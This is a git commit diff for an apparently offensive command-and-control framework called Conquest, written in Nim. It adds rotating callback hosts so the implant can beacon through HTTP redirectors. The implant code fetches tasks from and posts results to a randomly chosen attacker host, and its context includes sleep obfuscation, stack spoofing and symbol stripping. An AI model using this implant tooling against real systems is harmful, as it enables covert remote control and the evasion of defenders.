Implemented callback host system to support HTTP redirectors

This commit is contained in:
Jakob Friedl
2025-10-11 17:10:18 +02:00
parent 373eb497d9
commit f2d2833306
15 changed files with 145 additions and 90 deletions

View File

@@ -27,8 +27,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
var ctx = AgentCtx( var ctx = AgentCtx(
agentId: generateUUID(), agentId: generateUUID(),
listenerId: Uuid.toString(unpacker.getUint32()), listenerId: Uuid.toString(unpacker.getUint32()),
ip: unpacker.getDataWithLengthPrefix(), hosts: unpacker.getDataWithLengthPrefix(),
port: int(unpacker.getUint32()),
sleep: int(unpacker.getUint32()), sleep: int(unpacker.getUint32()),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8()), spoofStack: cast[bool](unpacker.getUint8()),

View File

@@ -48,7 +48,10 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
try: try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}") # Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}")
# Return if no tasks are queued # Return if no tasks are queued
if responseBody.len <= 0: if responseBody.len <= 0:
@@ -94,7 +97,10 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
try: try:
# Send post request to team server # Send post request to team server
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body) # Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
except CatchableError as err: except CatchableError as err:
echo "[-] " & err.msg echo "[-] " & err.msg

View File

@@ -1,10 +1,11 @@
import strformat, os, times, system, base64 import strformat, os, times, system, base64, random
import core/[http, context, sleepmask] import core/[http, context, sleepmask]
import protocol/[task, result, heartbeat, registration] import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto] import ../common/[types, utils, crypto]
proc main() = proc main() =
randomize()
# Initialize agent context # Initialize agent context
var ctx = AgentCtx.init() var ctx = AgentCtx.init()

View File

@@ -3,6 +3,6 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="255" -d:MODULES="255"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -179,72 +179,69 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
itemType: itemType, itemType: itemType,
text: line text: line
)) ))
#[ #[
Handling console commands Handling console commands
]# ]#
proc displayHelp(component: ConsoleComponent) = proc displayHelp(component: ConsoleComponent) =
for module in getModules(component.agent.modules): for module in getModules(component.agent.modules):
for cmd in module.commands: for cmd in module.commands:
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}") component.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
component.addItem(LOG_OUTPUT, "") component.addItem(LOG_OUTPUT, "")
proc displayCommandHelp(component: ConsoleComponent, command: Command) = proc displayCommandHelp(component: ConsoleComponent, command: Command) =
var usage = command.name & " " & command.arguments.mapIt( var usage = command.name & " " & command.arguments.mapIt(
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]" if it.isRequired: "<" & it.name & ">" else: "[" & it.name & "]"
).join(" ") ).join(" ")
if command.example != "": component.addItem(LOG_OUTPUT, command.description)
usage &= "\nExample : " & command.example component.addItem(LOG_OUTPUT, "Usage : " & usage)
component.addItem(LOG_OUTPUT, fmt""" if command.example != "":
{command.description} component.addItem(LOG_OUTPUT, "Example : " & command.example)
Usage : {usage}
""")
if command.arguments.len > 0: if command.arguments.len > 0:
component.addItem(LOG_OUTPUT, "Arguments:\n") component.addItem(LOG_OUTPUT, "Arguments:")
let header = @["Name", "Type", "Required", "Description"]
component.addItem(LOG_OUTPUT, fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}")
component.addItem(LOG_OUTPUT, fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}")
for arg in command.arguments: let header = @["Name", "Type", "Required", "Description"]
component.addItem(LOG_OUTPUT, " " & header[0].alignLeft(15) & " " & header[1].alignLeft(6) & " " & header[2].alignLeft(8) & " " & header[3])
component.addItem(LOG_OUTPUT, " " & '-'.repeat(15) & " " & '-'.repeat(6) & " " & '-'.repeat(8) & " " & '-'.repeat(20))
for arg in command.arguments:
let isRequired = if arg.isRequired: "YES" else: "NO" let isRequired = if arg.isRequired: "YES" else: "NO"
component.addItem(LOG_OUTPUT, fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}") component.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
component.addItem(LOG_OUTPUT, "") component.addItem(LOG_OUTPUT, "")
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) = proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
try: try:
# Try parsing the first argument passed to 'help' as a command # Try parsing the first argument passed to 'help' as a command
component.displayCommandHelp(getCommandByName(parsed[1])) component.displayCommandHelp(getCommandByName(parsed[1]))
except IndexDefect: except IndexDefect:
# 'help' command is called without additional parameters # 'help' command is called without additional parameters
component.displayHelp() component.displayHelp()
except ValueError: except ValueError:
# Command was not found # Command was not found
component.addItem(LOG_ERROR, fmt"The command '{parsed[1]}' does not exist.") component.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
# Convert user input into sequence of string arguments # Convert user input into sequence of string arguments
let parsedArgs = parseInput(input) let parsedArgs = parseInput(input)
# Handle 'help' command # Handle 'help' command
if parsedArgs[0] == "help": if parsedArgs[0] == "help":
component.handleHelp(parsedArgs) component.handleHelp(parsedArgs)
return return
# Handle commands with actions on the agent # Handle commands with actions on the agent
try: try:
let let
command = getCommandByName(parsedArgs[0]) command = getCommandByName(parsedArgs[0])
task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1]) task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1])
connection.sendAgentTask(component.agent.agentId, input, task) connection.sendAgentTask(component.agent.agentId, input, task)
component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})") component.addItem(LOG_INFO, "Tasked agent to " & command.description.toLowerAscii() & " (" & Uuid.toString(task.taskId) & ")")
except CatchableError: except CatchableError:
component.addItem(LOG_ERROR, getCurrentExceptionMsg()) component.addItem(LOG_ERROR, getCurrentExceptionMsg())
#[ #[
@@ -254,7 +251,7 @@ proc print(item: ConsoleItem) =
if item.timestamp > 0: if item.timestamp > 0:
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss") let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring) igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), "[" & timestamp & "]")
igSameLine(0.0f, 0.0f) igSameLine(0.0f, 0.0f)
case item.itemType: case item.itemType:

View File

@@ -64,12 +64,13 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
ImGui_TableFlags_SizingStretchSame.int32 ImGui_TableFlags_SizingStretchSame.int32
) )
let cols: int32 = 4 let cols: int32 = 5
if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f): if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0) igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Callback Hosts", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupScrollFreeze(0, 1) igTableSetupScrollFreeze(0, 1)
@@ -93,6 +94,9 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
if igTableSetColumnIndex(2): if igTableSetColumnIndex(2):
igText($listener.port) igText($listener.port)
if igTableSetColumnIndex(3): if igTableSetColumnIndex(3):
for host in listener.hosts.split(";"):
igText(host)
if igTableSetColumnIndex(4):
igText($listener.protocol) igText($listener.protocol)
# Handle right-click context menu # Handle right-click context menu

View File

@@ -7,22 +7,25 @@ const DEFAULT_PORT = 8080'u16
type type
ListenerModalComponent* = ref object of RootObj ListenerModalComponent* = ref object of RootObj
address: array[256, char] callbackHosts: array[256 * 32, char]
port: uint16 bindAddress: array[256, char]
bindPort: uint16
protocol: int32 protocol: int32
protocols: seq[string] protocols: seq[string]
proc ListenerModal*(): ListenerModalComponent = proc ListenerModal*(): ListenerModalComponent =
result = new ListenerModalComponent result = new ListenerModalComponent
zeroMem(addr result.address[0], 256) zeroMem(addr result.callbackHosts[0], 256 * 32)
result.port = DEFAULT_PORT zeroMem(addr result.bindAddress[0], 256)
result.bindPort = DEFAULT_PORT
result.protocol = 0 result.protocol = 0
for p in Protocol.low .. Protocol.high: for p in Protocol.low .. Protocol.high:
result.protocols.add($p) result.protocols.add($p)
proc resetModalValues(component: ListenerModalComponent) = proc resetModalValues(component: ListenerModalComponent) =
zeroMem(addr component.address[0], 256) zeroMem(addr component.callbackHosts[0], 256 * 32)
component.port = DEFAULT_PORT zeroMem(addr component.bindAddress[0], 256)
component.bindPort = DEFAULT_PORT
component.protocol = 0 component.protocol = 0
proc draw*(component: ListenerModalComponent): UIListener = proc draw*(component: ListenerModalComponent): UIListener =
@@ -43,27 +46,40 @@ proc draw*(component: ListenerModalComponent): UIListener =
defer: igEndPopup() defer: igEndPopup()
var availableSize: ImVec2 var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize)
# Listener address # Listener protocol/type dropdown selection
igText("Host: ") igText("Protocol: ")
igSameLine(0.0f, textSpacing) igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize) igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x) igSetNextItemWidth(availableSize.x)
igInputTextWithHint("##InputAddress", "127.0.0.1", addr component.address[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener port
let step: uint16 = 1
igText("Port: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igInputScalar("##InputPort", ImGuiDataType_U16.int32, addr component.port, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
# Listener protocol dropdown selection
igText("Protocol: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32) igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# HTTP Listener settings
if component.protocols[component.protocol] == $HTTP:
# Callback hosts
igText("Hosts (Callback): ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextMultiline("##InputCallbackHosts", addr component.callbackHosts[0], 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener bindAddress
igText("Host (Bind): ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextWithHint("##InputAddressBind", "0.0.0.0", addr component.bindAddress[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener bindPort
let step: uint16 = 1
igText("Port (Bind): ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igInputScalar("##InputPortBind", ImGuiDataType_U16.int32, addr component.bindPort, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
igGetContentRegionAvail(addr availableSize) igGetContentRegionAvail(addr availableSize)
@@ -72,13 +88,40 @@ proc draw*(component: ListenerModalComponent): UIListener =
igDummy(vec2(0.0f, 10.0f)) igDummy(vec2(0.0f, 10.0f))
# Only enabled the start button when valid values have been entered # Only enabled the start button when valid values have been entered
igBeginDisabled(($(addr component.address[0]) == "") or (component.port <= 0)) igBeginDisabled(($(addr component.bindAddress[0]) == "") or (component.bindPort <= 0))
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
# Process input values
var hosts: string = ""
let
callbackHosts = $(addr component.callbackHosts[0])
bindAddress = $(addr component.bindAddress[0])
bindPort = int(component.bindPort)
if callbackHosts.isEmptyOrWhitespace():
hosts &= bindAddress & ":" & $bindPort
else:
for host in callbackHosts.splitLines():
hosts &= ";"
let hostParts = host.split(":")
if hostParts.len() == 2:
if not hostParts[1].isEmptyOrWhitespace():
hosts &= hostParts[0] & ":" & hostParts[1]
else:
hosts &= hostParts[0] & ":" & $bindPort
elif hostParts.len() == 1 and not hostParts[0].isEmptyOrWhitespace():
hosts &= hostParts[0] & ":" & $bindPort
hosts.removePrefix(";")
# Return new listener object
result = UIListener( result = UIListener(
listenerId: generateUUID(), listenerId: generateUUID(),
address: $(addr component.address[0]), hosts: hosts,
port: int(component.port), address: bindAddress,
port: bindPort,
protocol: cast[Protocol](component.protocol) protocol: cast[Protocol](component.protocol)
) )
component.resetModalValues() component.resetModalValues()

View File

@@ -229,15 +229,17 @@ type
Protocol* {.size: sizeof(uint8).} = enum Protocol* {.size: sizeof(uint8).} = enum
HTTP = "http" HTTP = "http"
Listener* = ref object of RootObj Listener* = ref object
server*: Server server*: Server
listenerId*: string listenerId*: string
hosts*: string
address*: string address*: string
port*: int port*: int
protocol*: Protocol protocol*: Protocol
UIListener* = ref object of RootObj UIListener* = ref object
listenerId*: string listenerId*: string
hosts*: string
address*: string address*: string
port*: int port*: int
protocol*: Protocol protocol*: Protocol
@@ -301,8 +303,7 @@ type
AgentCtx* = ref object AgentCtx* = ref object
agentId*: string agentId*: string
listenerId*: string listenerId*: string
ip*: string hosts*: string
port*: int
sleep*: int sleep*: int
sleepTechnique*: SleepObfuscationTechnique sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool spoofStack*: bool

View File

@@ -16,8 +16,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
# Listener configuration # Listener configuration
packer.add(string.toUuid(listener.listenerId)) packer.add(string.toUuid(listener.listenerId))
packer.addDataWithLengthPrefix(string.toBytes(listener.address)) packer.addDataWithLengthPrefix(string.toBytes(listener.hosts))
packer.add(uint32(listener.port))
# Sleep settings # Sleep settings
packer.add(uint32(sleep)) packer.add(uint32(sleep))

View File

@@ -13,7 +13,7 @@ proc serve(listener: Listener) {.thread.} =
except Exception as err: except Exception as err:
discard discard
proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protocol: Protocol) = proc listenerStart*(cq: Conquest, listenerId: string, hosts: string, address: string, port: int, protocol: Protocol) =
try: try:
# Create new listener # Create new listener
var router: Router var router: Router
@@ -43,8 +43,9 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
# Store listener in database # Store listener in database
var listener = Listener( var listener = Listener(
server: server, server: server,
listenerId: name, listenerId: listenerId,
address: host, hosts: hosts,
address: address,
port: port, port: port,
protocol: protocol protocol: protocol
) )
@@ -54,16 +55,16 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
createThread(thread, serve, listener) createThread(thread, serve, listener)
server.waitUntilReady() server.waitUntilReady()
cq.listeners[name] = listener cq.listeners[listenerId] = listener
cq.threads[name] = thread cq.threads[listenerId] = thread
if not cq.dbListenerExists(name.toUpperAscii): if not cq.dbListenerExists(listenerId.toUpperAscii):
if not cq.dbStoreListener(listener): if not cq.dbStoreListener(listener):
raise newException(CatchableError, "Failed to store listener in database.") raise newException(CatchableError, "Failed to store listener in database.")
cq.success("Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{$port}.") cq.success("Started listener", fgGreen, fmt" {listenerId} ", resetStyle, fmt"on {address}:{$port}.")
cq.client.sendListener(listener) cq.client.sendListener(listener)
cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {name} on {host}:{$port}.") cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {listenerId} on {address}:{$port}.")
except CatchableError as err: except CatchableError as err:
cq.error("Failed to start listener: ", err.msg) cq.error("Failed to start listener: ", err.msg)

View File

@@ -25,6 +25,7 @@ proc `%`*(agent: Agent): JsonNode =
proc `%`*(listener: Listener): JsonNode = proc `%`*(listener: Listener): JsonNode =
result = newJObject() result = newJObject()
result["listenerId"] = %listener.listenerId result["listenerId"] = %listener.listenerId
result["hosts"] = %listener.hosts
result["address"] = %listener.address result["address"] = %listener.address
result["port"] = %listener.port result["port"] = %listener.port
result["protocol"] = %listener.protocol result["protocol"] = %listener.protocol

View File

@@ -16,6 +16,7 @@ proc dbInit*(cq: Conquest) =
conquestDb.execScript(""" conquestDb.execScript("""
CREATE TABLE listeners ( CREATE TABLE listeners (
listenerId TEXT PRIMARY KEY, listenerId TEXT PRIMARY KEY,
hosts TEXT NOT NULL,
address TEXT NOT NULL, address TEXT NOT NULL,
port INTEGER NOT NULL UNIQUE, port INTEGER NOT NULL UNIQUE,
protocol TEXT NOT NULL CHECK (protocol IN ('http')) protocol TEXT NOT NULL CHECK (protocol IN ('http'))

View File

@@ -107,6 +107,7 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
sessionKey: sessionKey, sessionKey: sessionKey,
tasks: @[] # Initialize empty tasks tasks: @[] # Initialize empty tasks
) )
agents.add(a)
conquestDb.close() conquestDb.close()
except: except:

View File

@@ -1,4 +1,4 @@
import system, terminal, tiny_sqlite import strformat, strutils, system, terminal, tiny_sqlite
import ../core/logger import ../core/logger
import ../../common/types import ../../common/types
@@ -19,9 +19,9 @@ proc dbStoreListener*(cq: Conquest, listener: Listener): bool =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec(""" conquestDb.exec("""
INSERT INTO listeners (listenerId, address, port, protocol) INSERT INTO listeners (listenerId, hosts, address, port, protocol)
VALUES (?, ?, ?, ?); VALUES (?, ?, ?, ?, ?);
""", listener.listenerId, listener.address, listener.port, $listener.protocol) """, listener.listenerId, listener.hosts, listener.address, listener.port, $listener.protocol)
conquestDb.close() conquestDb.close()
except: except:
@@ -37,11 +37,12 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT listenerId, address, port, protocol FROM listeners;"): for row in conquestDb.iterate("SELECT listenerId, hosts, address, port, protocol FROM listeners;"):
let (listenerId, address, port, protocol) = row.unpack((string, string, int, string)) let (listenerId, hosts, address, port, protocol) = row.unpack((string, string, string, int, string))
let l = Listener( let l = Listener(
listenerId: listenerId, listenerId: listenerId,
hosts: hosts,
address: address, address: address,
port: port, port: port,
protocol: stringToProtocol(protocol), protocol: stringToProtocol(protocol),

View File

@@ -84,7 +84,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
of CLIENT_LISTENER_START: of CLIENT_LISTENER_START:
let listener = event.data.to(UIListener) let listener = event.data.to(UIListener)
cq.listenerStart(listener.listenerId, listener.address, listener.port, listener.protocol) cq.listenerStart(listener.listenerId, listener.hosts, listener.address, listener.port, listener.protocol)
of CLIENT_LISTENER_STOP: of CLIENT_LISTENER_STOP:
let listenerId = event.data["listenerId"].getStr() let listenerId = event.data["listenerId"].getStr()
@@ -159,7 +159,7 @@ proc startServer*(profilePath: string) =
# Restart existing listeners # Restart existing listeners
for listenerId, listener in cq.listeners: for listenerId, listener in cq.listeners:
cq.listenerStart(listenerId, listener.address, listener.port, listener.protocol) cq.listenerStart(listenerId, listener.hosts, listener.address, listener.port, listener.protocol)
# Start websocket server # Start websocket server
var router: Router var router: Router